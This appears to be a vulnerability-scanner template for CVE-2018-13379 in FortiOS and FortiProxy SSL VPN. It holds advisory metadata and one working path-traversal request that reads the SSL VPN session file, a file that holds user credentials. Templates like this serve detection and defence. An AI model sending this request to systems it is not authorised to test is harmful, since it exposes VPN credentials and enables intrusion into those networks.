id: CVE-2018-13379 info: name: FortiOS - Credentials Disclosure author: organiccrap severity: critical description: An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests. reference: - https://fortiguard.com/advisory/FG-IR-18-384 - https://www.fortiguard.com/psirt/FG-IR-20-233 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-13379 cwe-id: CWE-22 tags: cve,cve2018,fortios requests: - method: GET path: - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" matchers: - type: word words: - "var fgt_lang"